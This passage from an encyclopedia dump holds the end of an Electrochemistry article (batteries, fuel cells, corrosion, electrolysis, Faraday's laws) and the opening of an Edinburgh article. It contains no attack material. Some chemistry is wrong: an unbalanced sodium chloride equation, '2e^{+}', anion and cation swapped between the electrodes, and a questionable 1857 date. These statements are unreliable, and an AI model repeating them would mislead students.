:&lt;math&gt;Reduction: Cu^{2+} (2.0 M) +2e^{-} \rightarrow \mbox{Cu} (s)\,&lt;/math&gt;
:&lt;math&gt;Overall reaction: Cu^{2+} (2.0 M) \rightarrow \mbox{Cu}^{2+} (0.05 M)\,&lt;/math&gt;

Where cell's emf is calculated through Nernst equation as follows:

:&lt;math&gt;E = E^{o}- {0.0257 V \over 2} ln {[Cu^{2+}]_{diluted}\over [Cu^{2+}]_{concentrated}}\,&lt;/math&gt;

&lt;math&gt;E^{o}\,&lt;/math&gt;'s value of this kind of cell is zero, as electrodes and ions are the same in both half-cells.
After replacing values from case mentioned is possible to calculate cell's potential:
:&lt;math&gt;E = 0- {0.0257 V \over 2} ln {0.05\over 2.0}\,&lt;/math&gt;
:&lt;math&gt;E = 0.0474 V\,&lt;/math&gt;

Concentration cell's are often a significant biologist's matter of investigation hence they are present on biological cells where [[membrane potential]] is responsible of [[Synapses|nerve synapses]] and [[Cardiac cycle|cardiac beat]].

==Battery==
{{Main|Battery (electricity)}}

A battery is an electrochemical cell or a group of them, where if combined together, may produce [[direct current]] at a constant [[voltage]]. Electrochemical principles which made batteries work are the same as on electrochemical cells, however a battery doesn't need auxiliary components such as saline bridge on Daniell cells.

===Dry cell===
{{Main|Dry cell}}
[[Image:Zincbattery.png|thumb|250px|Zinc carbon battery diagram.]]
Dry cells don't have a [[fluid]] electrolyte instead they use a moist electrolyte paste. [[Zinc-carbon battery|Leclanché's cell]] is a good example of this, where cell's [[anode]] is a [[zinc]] [[container]] surrounded by a thin layer of [[manganese dioxide]] and a moist electrolyte paste of [[ammonium chloride]] and [[zinc chloride]] mixed with [[starch]] to have a pale and flabby  consistency and avoiding flees. Cell's cathode is represented by a carbon bar inserted on cell's electrolyte, usually placed in the middle.

[[Georges Leclanché|Leclanché's]] simplified half reactions are shown below:
:&lt;math&gt;Anode: Zn(s) \rightarrow Zn^{2+} (aq) + 2e^{-}\,&lt;/math&gt;
:&lt;math&gt;Cathode: 2NH^{+}_{4}(aq)+ 2MnO_{2}(s) + 2e^{-}\rightarrow Mn_{2}O_{3}(s) + 2NH_{3} (aq) + H_{2}O (l)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction:}\,&lt;/math&gt;
:&lt;math&gt;Zn(s) + 2NH^{+}_{4}(aq)+ 2MnO_{2}(s) \rightarrow Zn^{2+}(aq) + Mn_{2}O_{3}(s) + 2NH_{3} (aq) + H_{2}O (l)\,&lt;/math&gt;

The voltage obtained from the [[zinc-carbon battery]] is 1.5 [[Volt|V]] approximately.
===Mercury battery===
{{Main|Mercury battery}}
[[Image:Mercurybattery2.PNG|thumb|200px|Cutaway view of a Mercury battery diagram.]]
Mercury battery has many applications on [[medicine]] and [[electronics]]. The battery consists on a [[steel]]—made container with the shape of a cylinder acting as the cathode, where an [[amalgam|amalgamated]] anode of mercury and zinc is surrounded by a stronger alkaline electrolyte and a paste of [[Zinc oxide]] and [[Mercury(II) oxide]] .

Mercury battery half reactions are shown below:
:&lt;math&gt;Anode: Zn(Hg) + 2OH^{-} (aq) \rightarrow ZnO(s) + H_{2}O (l) + 2e^{-}\,&lt;/math&gt;
:&lt;math&gt;Cathode: HgO(s) + H_{2}O(l) + 2e^{-}\rightarrow Hg(l) + 2OH^{-} (aq)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction:}\,&lt;/math&gt;
:&lt;math&gt;Zn(Hg) + HgO(s) \rightarrow ZnO(s) + Hg(l)\,&lt;/math&gt;
There are not changes on electrolyte's composition when cell works. Mercurium battery provides 1.35 V of [[direct current]].
===Lead-acid battery===
[[Image:Lead acid cell.jpg|thumb|100px|A sealed Lead acid battery.]]
{{Main|Lead-acid battery}}

The Lead-acid battery used on [[automobiles]], consists on a series of six identical cells in line assembled, each cell has a [[lead]] anode and a cathode made from [[lead dioxide]] packed in a [[metal]] plaque. Cathode and anode are submerged in a solution of [[sulfuric acid]] acting as the electrolyte.

Lead-acid battery half cell reactions are shown below:
:&lt;math&gt;Anode: Pb(s) + SO^{2-}_{4}(aq) \rightarrow PbSO_{4}(s) + 2e^{-}\,&lt;/math&gt;
:&lt;math&gt;Cathode: PbO_{2}(s) + 4H^{+}(aq) + SO^{2-}_{4}(aq) + 2e^{-} \rightarrow PbSO_{4}(s) + 2H_{2}O(l)\,&lt;/math&gt;
&lt;math&gt;\mbox{Overall reaction:} Pb(s) + PbO_{2}(s) + 4H^{+}(aq)+2SO^{2-}_{4}(aq) \rightarrow 2PbSO_{4}(s) + 2H_{2}O(l)&lt;/math&gt;

At standard conditions, each cell may produce a [[direct current]] of 2 [[Volts|V]], hence overall voltage produced is 12 V. Lead-acid batteries, differing from Mercury and Zinc-carbon batteries, are [[Rechargeable battery|rechargeable]]. If an external voltage is supplied to the battery it will produce an [[electrolysis]] of the products in the overall reaction (discharge), thus recovering initial components which made the battery work.

===Solid state Lithium battery===
Most of the batteries work using an [[aqueous]] electrolyte or a moist electrolyte paste instead, however a solid state battery operates using a solid electrolyte. Solid state [[lithium]] batteries are an example of this, where a solid Lithium bar acts as the [[anode]], a bar of [[Lithium sulfide]] or [[Vanadium oxide]] acts as the [[cathode]] and a [[polymer]], allowing the passage of [[ions]] and not [[electrons]], serves as the electrolyte. The advantage of this kind of battery from others is that Lithium possess the highest negative value of standard reduction potential. It is also a [[light metal]] and therefore less mass is required to generate 1 [[faraday constant|mole of electrons]]. This battery is rechargeable and it can provide a [[direct current]] of about 3 [[Volts|V]]. Although solid state batteries are frowned upon nowadays, it is likely they will someday become a reliable source of [[electricity]].

===Fuel cells===
{{Main|Fuel cell}}

[[Fossil fuels]] are used on [[power plants]] to supply electrical needs of a certain area, however the conversion of them into electricity is a low efficient process, in fact the most efficient electrical power plant it may convert into electricity about 40[[percentage|%]] of the original [[chemical energy]] when [[combustion|burned]] or processed.

To enhance electrical production, scientists developed fuel cells where [[combustion]] reactions are stimulated by electrochemical methods, thus requiring continuous replenishment of the [[reactants]] consumed.

The most popular is the oxygen-hydrogen fuel cell, where two [[inert electrode|inert–electrodes]] ([[porous]] electrodes of [[Nickel]] and [[Nickel oxide]]) are placed in an [[electrolytic solution]] such as hot [[caustic potash]], in both compartments (anode and cathode) gaseous [[hydrogen]] and [[oxygen]] are bubbled into solution.

Oxygen-hydrogen fuel cell reactions are shown bellow:
:&lt;math&gt;Anode: 2H_{2}(g)+ 4OH^{-}(aq)\rightarrow 4H_{2}O(l)+4e^{-}\,&lt;/math&gt;
:&lt;math&gt;Cathode: O_{2}(g)+ 2H_{2}O(l) + 4e^{-}\rightarrow 4OH^{-}(aq)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction:} 2H_{2}(g) + O_{2}(g)\rightarrow 2H_{2}O(l)\,&lt;/math&gt;

The overall reaction is some-like to [[hydrogen]] [[combustion]], differing on oxidation and reduction took place in [[anode]] and [[cathode]] separately, similar to the electrode used in the cell for measuring standard reduction potential having a double function acting as [[electrical conductors]] providing a surface required to decomposition of the [[molecules]] into [[atoms]] before electron transferring, thus named [[Electrocatalyst|electrocatalysts]]. [[Platinum]], [[nickel]], [[rhodium]] are good electrocatalysts.

==Corrosion==
{{Main|Corrosion}}

Corrosion is the term applied to [[metal]] [[rust]] caused by an electrochemical process. The most common is the [[iron]] corrosion, other examples include, [[silver]] [[mist|misted]] and greenish-like layer may appear over [[brass]] and [[copper]]. The cost of replacing metals lost to corrosion is in the multi-billions of [[american dollar|dollars]] per year. 

===Iron corrosion===
[[Image:Iron-rusting-scheme.PNG|thumb|270px|right|Diagram showing a water [[drop|droplet]] over an iron surface. Electrochemical mechanisms involved develop iron rusting process.]]

For iron rust to occur the metal has to be in contact with [[oxygen]] and [[water]], although [[chemical reaction|chemical reactions]] for this process are some complex and not all of them have been completely understood, it is believed the causes are the following:
#Electron transferring (Reduction-Oxidation)
##One surface of the metal acts as the anode where the oxidation occurs.
###:&lt;math&gt;Fe(s)\rightarrow Fe^{2+}(aq) + 2e^{-}\,&lt;/math&gt;
##[[Electrons]] are transferred from [[iron]] reducing oxygen in the [[atmosphere]] into [[water (molecule)|water]] on the cathode, which is placed in another region of the metal.
###:&lt;math&gt;O_{2}(g) + 4H^{+}(aq) + 4e^{-} \rightarrow 2H_{2}O(l)\,&lt;/math&gt;
##Global reaction for the process:
##:&lt;math&gt;2Fe(s) + O_{2}(g) + 4H^{+}(aq) \rightarrow 2Fe^{2+}(aq) + 2H_{2}O(l)\,&lt;/math&gt;
##Standard [[emf]] for iron rusting:
###:&lt;math&gt;E^{o}=E^{o}_{cathode}-E^{o}_{anode}\,&lt;/math&gt;
###:&lt;math&gt;E^{o}=1.23V-(-0.44V)=1.67V\,&lt;/math&gt;
Iron corrosion takes place on acid medium; [[Proton|H&lt;sup&gt;+&lt;/sup&gt;]] [[ions]] come from reaction between [[carbon dioxide]] in the atmosphere and water, forming [[carbonic acid]]. Fe&lt;sup&gt;2+&lt;/sup&gt; ions oxides, following this equation:
:&lt;math&gt;4Fe^{2+}(aq) + O_{2}(g) + (4+2x)H_{2}O(l) \rightarrow 2Fe_{2}O_{3}.xH_{2}O + 8H^{+}(aq)&lt;/math&gt;
[[Iron(III) oxide]] [[hydrated]] is known as rust. Water associated with iron oxide it varies, thus chemical representation is presented as &lt;math&gt;Fe_{2}O_{3}.xH_{2}O\,&lt;/math&gt;. 
The [[electric circuit]] works as passage of electrons and ions occurs, thus if an electrolyte is present it will facilitate [[oxidation]], this explains why rusting is quicker on [[salt water]].

===Corrosion of coinage metals===
[[Coinage metal|Coinage metals]], such as copper and silver, can also slowly corrode.
At standard temperature and pressure, a [[patina]] of green-blue [[copper carbonate]] forms on the surface of [[copper]].  [[Silver]] [[cutlery]] that is in contact with food can develop a layer of [[Silver sulfide]].

===Prevention of Corrosion===
Attempts to save a metal from becoming anodic are of two general types. Anodic regions dissolve and destroy the structural integrity of the metal. 

While it is almost impossible to prevent [[anode]]/[[cathode]] formation, if a [[Insulator|non-conducting]] material covers the metal contact with the [[electrolyte]] is not possible and corrosion will not occur. 

====Coating====
Metals are [[coat|coated]] on its surface with [[paint]] or some other non-conducting coating. This prevents the [[electrolyte]] from reaching the metal surface '''IF''' the coating is complete. [[Scratch|Scratches]] exposing the metal will corrode with the region under the paint, adjacent to the scratch, to be [[anode|anodic]].  

Other prevention is called ''[[passivation]]'' where a metal is coated with another metal such as [[tin can]]. Tin is a metal that rapidly corrodes to form a mono-molecular [[oxide]] coating that prevents further corrosion of the tin. The tin prevents the electrolyte from reaching the base metal, usually [[steel]] ([[iron]]). However, if the tin coating is scratched the iron becomes anodic and the can corrodes rapidly.

====Sacrificial anodes====  
A method commonly used to protect a structural metal is to attach a metal which is more anodic than the metal to be protected.  This forces the structural metal to be [[cathodic]], thus spared corrosion.  It is called ''&quot;sacrificial&quot;'' because the [[anode]] dissolves and has to be replaced periodically.

[[Zinc]] bars are attached at various locations on steel [[ship]] [[Hull (watercraft)|hulls]] to render the ship hull [[cathode|cathodic]].  The zinc bars are replaced periodically.  Other metals, such as [[magnesium]], would work very well but zinc is the least expensive useful metal.  

To protect pipelines, buried or exposed an ingot of magnesium (or zinc) is [[bury|buried]] beside the [[pipeline]] and [[wire|connected electrically]] to the pipe above ground. The pipeline is forced to be a cathode and is protected. The magnesium anode is sacrificed. At intervals new [[ingot|ingots]] are buried to replace those lost.

==Electrolysis==
{{Main|Electrolysis}}

Spontaneous redox reactions produces electricity, thus passage of electrons through a wire in the [[electric circuit]]. Electrolysis requires an external source of [[electrical energy]] to induce a chemical reaction, this process takes place in a compartment called [[electrolytic cell]]. Principles involved on electrolysis are the same as featured on electrochemical cells. 

===Electrolysis of molten sodium chloride===
[[Image:Downs sodium productioncell.jpg|thumb|250px|right|Down's cell diagram.]]
[[Sodium chloride]] when molten it can be electrolysed to yield metallic form of [[sodium]] and gaseous [[chlorine]]. Industrially this process takes place in a special cell named Down's cell. The cell is connected to a battery, allowing [[electrons]] [[migration]] from the battery to the electrolytic cell. 

Reactions that take place at Down's cell are the following:
:&lt;math&gt;\mbox{Anode (oxidation): }2Cl^{-} \rightarrow Cl_{2}(g) + 2e^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Cathode (reduction): }2Na^{+}(l) + 2e^{-} \rightarrow 2Na(l)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction: }2Na^{+} + Cl^{-}(l) \rightarrow 2Na(l) + Cl_{2}(g)\,&lt;/math&gt;

This process can yield industrial amounts of metallic sodium and gaseous chlorine, and is widely used on [[mineral dressing]] and [[metallurgy]] [[industry|industries]].

Standard [[emf]] for this process is approximately -4 [[V]] indicating an non-spontaneous process. In order this reaction to occur the battery should provide at least a potential of 4V. However, on mineral refining industry, higher voltages are used, due to low efficiency on the process.

===Electrolysis of water===
[[Image:Electrolysis hoffman.PNG|thumb|190px|Diagram of a Hofmann voltameter, showing electrolysis of water.]]
{{Main|Electrolysis of water}}
[[Water]] at standard temperature and pressure conditions doesn't decompose into [[hydrogen]] and [[oxygen]] [[Spontaneous process|spontaneously]] as the [[Gibbs free energy]] for the process at standard conditions is a higher positive value, about &lt;math&gt;474.4 kJ\,&lt;/math&gt; 

However a special [[laboratory glassware]] has been designed for this purpose called [[Hofmann voltameter]] where a pair of inert [[electrodes]] usually made of [[platinum]] acts as anode and cathode in the electrolytic process. After the water (if pure) has been placed in the [[apparatus]], nothing happens, hence there are not enough [[ions]] to let the passage of electrons occur. To start the electrolysis an electrolyte should be placed in, usually [[sodium chloride]] or [[sulfuric acid]] (most used 0.1 [[Molar concentration|M]]).

Bubbles from the gases will be seen near both electrodes. The following half reactions describe the process mentioned above:

:&lt;math&gt;\mbox{Anode (oxidation): }2H_{2}O(l) \rightarrow O_{2}(g) + 4H^{+}(aq) + 4e^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Cathode (reduction): }2H_{2}O(g) + 2e^{-} \rightarrow H_{2}(g) + 2OH^{-}(aq)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction: }2H_{2}O(l) \rightarrow 2H_{2}(g) + O_{2}(g)\,&lt;/math&gt;

Although strong acids may be used in the apparatus, the reaction will not net consume the acid.

===Electrolysis of aqueous solutions===
An aqueous solution electrolysis is a similar process as mentioned in electrolysis of water, however is considered to be a complex process due to contents in solution had to be studied in [[chemical reaction|half reactions]] whether reduced or oxidized.

====Electrolysis of a solution of Sodium chloride====
The presence of water in a solution of [[Sodium chloride]] has to be examined over how is reduced and oxidized in both electrodes. Usually water is electrolysed as mentioned in electrolysis of water yielding ''gaseous [[oxygen]] in the anode'' and gaseous [[hydrogen]] in the cathode. On the other hand, sodium chloride in water [[Dissociation (chemistry)|dissociates]] in Na&lt;sup&gt;+&lt;/sup&gt; and Cl&lt;sup&gt;-&lt;/sup&gt; ions, [[anion]] will be attracted to the cathode thus reducing [[Sodium]] ion, and the [[cation]] will be attracted to the anode oxidizing [[Chloride]] ion.

The following half reactions describes the process mentioned:
:&lt;math&gt;\mbox{1. Cathode: }Na^{+}(aq)+ 1e^{-} \rightarrow Na(s) \qquad E^{o}_{red}=-2.71 V\,&lt;/math&gt;
:&lt;math&gt;\mbox{2. Anode: }2Cl^{-}(aq) \rightarrow Cl_{2}(g) + 2e^{-} \qquad E^{o}_{red}= +1.36 V\,&lt;/math&gt;
:&lt;math&gt;\mbox{3. Cathode: }2H_{2}O(l) + 2e^{+} \rightarrow H_{2}(g) + 2OH^{-}(aq)\qquad E^{o}_{red}=-0.83 V\,&lt;/math&gt;
:&lt;math&gt;\mbox{4. Anode: } 2H_{2}O(l) \rightarrow O_{2}(g) + 4H^{+}(aq) + 4e^{-}\qquad E^{o}_{red}=+1.23V\,&lt;/math&gt;

Reaction 1 is discarded as it has the most [[Negative and non-negative numbers|negative]] value on standard reduction potential thus making it less thermodynamically favorable in the process.

When comparing the reduction potentials in reactions 2 &amp; 4, the reduction of chloride ion is favored. Thus, if the Cl&lt;sup&gt;-&lt;/sup&gt; ion is favored for [[reduction]], then the water reaction is favored for [[oxidation]] producing gaseous oxygen, however experiments shown gaseous chlorine is produced and not oxygen. 

Although the initial analysis is correct, there is another effect that can happen, known as the [[overvoltage effect]]. Additional voltage is sometimes required, beyond the voltage predicted by the &lt;math&gt;E^{o}_{cell}\,&lt;/math&gt;. This may be due to [[chemical kinetics|kinetic]] rather than [[Thermochemistry|thermodynamic]] considerations. In fact it has been proved the [[activation energy]] for chlorine ion is very low, hence favorable in [[chemical kinetics|kinetic terms]]. In other words, although the voltage applied is thermodynamically sufficient to drive electrolysis, the rate is so slow that to make the process proceed in a reasonable time frame, the [[voltage]] of the external source has to be increased (hence, overvoltage).

Finally reaction 3 is favorable due to describes the proliferation of [[Hydroxide|OH&lt;sup&gt;-&lt;/sup&gt;]] ions thus letting a probable reduction of [[Proton|H&lt;sup&gt;+&lt;/sup&gt;]] ions less favorable option.

The overall reaction for the process according to the analysis would be the following:
:&lt;math&gt;\mbox{Anode (Oxidation): } 2Cl^{-}(aq)\rightarrow Cl_{2}(g) + 2e^{-}\,&lt;/math&gt;
:&lt;math&gt;\mbox{Cathode (Reduction): } 2H_{2}O(l) + 2e{-}\rightarrow H_{2}(g) + 2OH^{-}(aq)\,&lt;/math&gt;
:&lt;math&gt;\mbox{Overall reaction: } 2H_{2}O + 2Cl^{-}(aq) \rightarrow H_{2}(g) + Cl_{2}(g) + 2OH^{-}(aq)\,&lt;/math&gt;

The overall reaction indicates, the [[concentration]] of chloride ions is reduced in comparison to OH&lt;sup&gt;-&lt;/sup&gt; ions which concentration increases, the reaction also shows the production of gaseous [[hydrogen]], [[chlorine]] and aqueous [[sodium hydroxide]].

===Quantitative electrolysis &amp; Faraday Laws===
{{Main|Faraday's law of electrolysis}}
Quantitative aspects of electrolysis were originally developed by [[Michael Faraday]] in [[1834]]. Michael is also credited to coined the terms ''[[electrolyte]]'', electrolysis, among many others while he studied quantitative analysis of electrochemical reactions. Also he was an advocate of the [[law of conservation of energy]].
[[image:Nickel-electroplating.PNG|thumb|200px|right|To [[refining|refine]] metals a process named [[electroplating]] is used (diagram shows [[Nickel]] refining); the process has its bases on the first and the second law of electrolysis stated by Faraday in the [[19th century]].]]
====First law====
Faraday concluded after several experiments on [[electrical current]] in [[spontaneous process|non-spontaneous process]], the [[mass]] of the products yielded on the electrodes was proportional to the quantity of current supplied to the cell and the molar mass of the substance analyzed. 

In other words, the amount of a substance deposited on each electrode of an electrolytic cell is directly proportional to the [[Current (electricity)|quantity of electricity]] passed through the cell. 

Below a simplified equation of Faraday's first law:
:&lt;math&gt;m \ = \  { 1 \over 96,485 \ \mathrm{C} } \cdot { Q M \over n }  &lt;/math&gt;
Where,
:''m'' is the mass of the substance produced at the electrode (in [[grams]]),
:''Q'' is the total electric charge that passed through the solution (in [[coulomb]]s),
:''n'' is the valence number of the substance as an ion in solution (electrons per ion),
:''M'' is the molar mass of the substance (in grams per [[mole (unit) | mole]]).
====Second law====
{{Main|Electroplating}}
Faraday devised the laws of chemical electrodeposition of metals from solutions in [[1857]]. He formulated the second law of electrolysis stating ''&quot;the amounts of bodies which are equivalent to each other in their ordinary chemical action have equal quantities of electricity naturally associated with them.&quot;'' In other terms, the quantities of different elements deposited by a given amount of electricity are in the [[ratio]] of their chemical [[equivalent weight|equivalent weights]]. 

An important aspect of the second law of electrolysis is [[electroplating]] which together with the first law of electrolysis, has a significant number of applications in the industry, as when used to protect [[metal|metals]] to avoid corrosion.

== See also ==
* [[Activity series of metals]]
* [[Table of standard electrode potentials]]
* [[Electrochemical potential]]
* [[Bioelectricity]]
* [[List of publications in chemistry#Electrochemistry|Important publications in Electrochemistry]]
* [[Redox titration]]
* [[Contact tension]] - a historical fore-runner to the theory of electrochemistry.

==References==
* {{cite web
 | title = Electrochemistry
 | work = General Chemistry II by Dr. Michael Blaber
 | url = http://wine1.sb.fsu.edu/chm1046/notes/Electro/Electrol/Electrol.htm
 | accessdate = January 30
 | accessyear = 2006
 }}
* {{cite web
 | title = Electrochemistry
 | work = Corrosion
 | url = http://colossus.chem.umass.edu/chandler/ch112/corrosion.htm
 | accessdate = January 28
 | accessyear = 2006
 }}
* {{cite web
 | title = Michael Faraday
 | work = Biography
 | url = http://scienceworld.wolfram.com/biography/Faraday.html
 | accessdate = January 30
 | accessyear = 2006
 }}
* {{cite web
 | title = The Faraday law of electrochemistry
 | work = Faraday laws of electrochemistry
 | url = http://library.thinkquest.org/19662/low/eng/electrolysis.html
 | accessdate = January 30
 | accessyear = 2006
 }}
* {{cite book
 | first = Raymond
 | last = Chang
 | authorlink = Raymond Chang 
 | coauthors = 
 | year = 2002
 | month =
 | title = Chemistry
 | chapter = Electrochemistry
 | editor = 
 | others = 
 | edition = 7th Edition
 | pages = 
 | publisher = Mc Graw Hill
 | location = 
 | id =  ISBN 0-07-365601-1
 | url = http://www.mhhe.com/chang7
}}
* {{cite book
 | first = Theodore 
 | last = L. Brown 
 | authorlink = Theodore L. Brown 
 | coauthors = H. Eugene LeMay, Jr., Bruce E. Bursten, Julia R. Burdge
 | year = 2003
 | month =
 | title = Chemistry
 | chapter = Electrochemistry
 | editor = 
 | others = 
 | edition = 9th Edition
 | pages = 
 | publisher = Pearson Education
 | location = US
 | id =  ISBN 0-13-066997-0
 | url = http://www.pearsoneducation.net/brown
}}
* {{cite book
 | first = John 
 | last = William Hill
 | authorlink = John William Hill
 | coauthors = Ralph H. Petrucci, Terry McCreary, Scott S. Perry
 | year = 2004
 | month = March
 | title = General Chemistry: An Integrated Approach
 | chapter = Electrochemistry
 | editor = 
 | others = 
 | edition = 7th Edition
 | pages = 1200
 | publisher = Pearson Education
 | location = 
 | id =  ISBN 0-13-140283-8
 | url = 
}}
* {{cite book
 | first = John  
 | last = McMurry
 | authorlink = John McMurry
 | coauthors = Robert C. Fay
 | year = 2004
 | month = March
 | title = Chemistry
 | chapter = Electrochemistry
 | editor = 
 | others = 
 | edition = 3rd Edition
 | pages = 
 | publisher = Prentice Hall
 | location = 
 | id =  ISBN 0-13-056765-5
 | url = http://cwx.prenhall.com/bookbind/pubbooks/mcmurry2/
}}

== External links ==
* [http://www.ise-online.org International Society of Electrochemistry (ISE)]
* [http://electrochem.cwru.edu/ed/encycl/ Electrochemistry Encyclopedia at Case Western Reserve University]
* [http://electrochem.cwru.edu/ed/dict.htm Electrochemistry Dictionary at Case Western Reserve University] (size ~ 388KB)
* [http://www.funsci.com/fun3_en/electro/electro.htm Experiments in Electrochemistry at Fun Science]
* [http://www.abc.chemistry.bsu.by/vi/ Potentiodynamic Electrochemical Impedance Spectroscopy]
* [http://www.nanoelectrode.com Nanoelectrode.com] News and research articles related to nanoelectrochemistry

{{BranchesofChemistry}}

[[Category:Electrochemistry| ]]
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[[bg:Електрохимия]]
[[de:Elektrochemie]]
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[[he:אלקטרוכימיה]]
[[id:Elektrokimia]]
[[ja:電気化学]]
[[nl:Elektrochemie]]
[[pl:Elektrochemia]]
[[pt:Eletroquímica]]
[[ru:Электрохимия]]
[[sl:Elektrokemija]]
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  </page>
  <page>
    <title>Edinburgh</title>
    <id>9602</id>
    <revision>
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{{infobox Scotland place with map|  
   |Place=             Edinburgh
   |Population=        448,624
   |GridReference=     NT275735 
   |Map=               Edinburgh_(location).png
   |Council=           [[City of Edinburgh]]
   |Lieutenancy=       Edinburgh
   |Traditional=       [[Midlothian, Scotland|Midlothian]]
   |Westminster=       [[Edinburgh South (UK Parliament constituency)|Edinburgh South]] &lt;br/&gt;  [[Edinburgh West (UK Parliament constituency)|Edinburgh West]] &lt;br/&gt;  [[Edinburgh South West (UK Parliament constituency)|Edinburgh South West]] &lt;br/&gt;  [[Edinburgh North and Leith (UK Parliament constituency)|Edinburgh North and Leith]] &lt;br/&gt;  [[Edinburgh East (UK Parliament constituency)|Edinburgh East]]
   |Holyrood=       [[Edinburgh North and Leith (Scottish Parliament constituency)|Edinburgh North and Leith]] &lt;br/&gt;  [[Edinburgh Central]] &lt;br/&gt;  [[Edinburgh East and Musselburgh]] &lt;br/&gt;  [[Edinburgh Pentlands (Scottish Parliament constituency)|Edinburgh Pentlands]] &lt;br/&gt;  [[Edinburgh South (Scottish Parliament constituency)|Edinburgh South]] &lt;br/&gt;  [[Edinburgh West (Scottish Parliament constituency)|Edinburgh West]] &lt;br/&gt;  [[Lothians (Scottish Parliamentary Electoral Area)|Lothians]] 
   |PostalTown=        EDINBURGH
   |PostCode=          EH1-EH13; EH14 (part); EH15-EH17
   |DiallingCode=      0131
   |Police=            [[Lothian and Borders Police]]
 }}
'''Edinburgh''' ([[International Phonetic Alphabet|pronounced]] {{IPA|/ˈɛdɪnˌbrə/}}), '''''Dùn Èideann''''' ({{IPA|/tuːn ˈeːtʃən/}}) in [[Scottish Gaelic language|Scottish Gaelic]], is the second-largest [[City status in the United Kingdom|city]] in [[Scotland]] and its [[capital city]].

It is situated on the east coast of Scotland's [[Scottish Lowlands|central lowlands]] on the south shore of the [[Firth of Forth]] and in the unitary local authority of [[City of Edinburgh]]. It has been the capital of Scotland since 1437 and is the seat of the country's [[Scottish Executive|devolved government]]. The city was one of the major centres of the [[Age of Enlightenment|enlightenment]], led by the [[University of Edinburgh]]. The Old Town and New Town districts of Edinburgh were listed as a [[United Nations Educational, Scientific and Cultural Organization|UNESCO]] [[World Heritage Site]] in 1995. In the census of 2001, Edinburgh had a total resident population of 448,624.  

Edinburgh is well known for the annual [[Edinburgh Festival]], the largest performing arts festival in the world, and for the [[Hogmanay]] street party. At the time of the art festivals the population of the city doubles. The city is one of the world's major tourist destinations, attracting roughly 13 million visitors a year, and is the second most visited tourist destination in the [[United Kingdom]] after [[London]].

==Origins of &quot;Edinburgh&quot;==
The origin of the city's name is understood to come from the [[Brythonic]] ''Din Eidyn'' (Fort of Eidyn) from the time when it was a [[Gododdin]] hillfort. 
In the 1st century the [[Roman Empire|Romans]] recorded the [[Votadini]] as a [[Briton|British]] tribe in the area, and about 600 the poem [[Y Gododdin]] using the [[Brythonic]] form of that name describes warriors feasting &quot;in Eidin's great hall&quot;.

After it was besieged by the [[Bernicia]]n [[Anglo-Saxon|Angles]] the name changed to ''Edin-burh'', which some have argued derives from the Anglo-Saxon for &quot;Edwin's fort&quot;, possibly derived from the 7th century king [[Edwin of Northumbria]]. However, since the name apparently predates King Edwin, this is highly unlikely. The ''burgh'' element means &quot;fortress&quot; or &quot;group of buildings&quot;, i.e. a town or city and is akin to the [[German language|German]] ''burg'', [[Latin]] ''parcus'', [[Greek language|Greek]] ''pyrgos'' etc. This word can be traced back to the [[Biblical Aramaic|Chaldean]] ''perach'' meaning &quot;growth&quot;, in the sense that a group of buildings is a growth from the earth, and may be a borrowing.

''&quot;Din Eidyn&quot; is Brythonic Celtic for &quot;Dun Eidyn&quot; meaning &quot;Eidyn Town&quot;, &quot;Eidyn Dune&quot;, or &quot;Eidyn Down(s)&quot;.  A Celtic &quot;Dun&quot; was a hilltop fortress town, and the suffix appears throughout Caesar's &quot;Gallic Wars&quot;.  The Germanic equivalent is &quot;Burgh&quot;; for example, an &quot;ice-berg&quot; is literally an &quot;ice-mountain&quot;.  The sense is identical: a hilltop fortified town.  Thus, the exact translation of &quot;Din Eidyn&quot; into the Germanic tongue of the Angles is &quot;Eidyn Burgh&quot;, or more simply, &quot;Edinburgh&quot;.  As with the borrowing of &quot;Brynaich&quot; as &quot;Bernicia&quot;, we see that the Angles adopted the honorific pronoun &quot;Eidyn&quot;, translating only the modifier &quot;Din&quot; into their own tongue as &quot;Bergh&quot;.''

The first evidence of the existence of the town as a separate entity from the fort lies in an early 12th century charter, generally thought to date from 1124, by [[David I of Scotland|King David I]] granting land to the Church of the Holy Rood of Edinburgh. This suggests that the town came into official existence between 1018 (when [[Malcolm II of Scotland|King Malcolm II]] secured the Lothians from the Northumbrians) and 1124.
[[Image:Hereford Mappa Mundi detail Britain.jpg|thumb|Edinburgh is clearly labeled on this [[T and O map]] from ca. 1300. (North lies roughly in the direction of the upper left corner.)]]

The charter refers to the recipients ([[Latin|in Latin]]) as &quot;Ecclisie Sancte Crucis ''Edwin''esburgensi&quot;. This could mean that those who drafted the charter believed Edwin to be the original source of the name and decided to derive the Latinisation from what they believed to be the ancient name. It could also mean that at some point in the preceding 600 years the name had altered to include a ''w''. If the latter scenario was the case then it was soon to change; by the 1170s [[William I of Scotland|King William the Lion]] was using the name &quot;''Edenesburch''&quot; in a charter (again in Latin) confirming the 1124 grant of David I.

Documents from the 14th century show the name to have settled into its current form; although other spellings (&quot;Edynburgh&quot; and &quot;Edynburghe&quot;) appear, these are simply spelling variants of the current name.

==Other names==
The city is affectionately nicknamed &quot;Auld Reekie&quot;, [[Scots language|Lowland Scots]] for &quot;Old Smoky&quot;.

Some have called Edinburgh the &quot;[[Athens]] of the North&quot; for a variety of reasons. The earliest comparison between the two cities showed that they had a similar topography, with the Old Town of Edinburgh performing a similar role to the [[Acropolis, Athens|Acropolis]]. Both of them had flatter, fertile agricultural land sloping down to a [[port]] several miles away. Although this arrangement is common in Southern Europe, it is rare in Northern Europe. The 18th century intellectual life, sometimes referred to as the [[Scottish Enlightenment]], was a key influence in gaining the name. Such beacons as [[David Hume]] and [[Adam Smith]] shone during this period. Having lost its political importance, some hoped that Edinburgh could gain a similar civilising influence on London as Athens had on Rome. Also a contributing factor was the later [[Neoclassicism|neoclassical]] architecture, particularly that of [[William Henry Playfair]], and the National Monument (see below). One writer has said,
facetiously, that the &quot;[[Reykjavík]] of the South&quot; would be more appropriate!

Edinburgh has also been known as &quot;Dunedin&quot;, deriving from the [[Scottish Gaelic]], '''Dùn Èideann'''. [[Dunedin, New Zealand]], was originally called &quot;New Edinburgh&quot; and is still nicknamed the &quot;Edinburgh of the South&quot;.

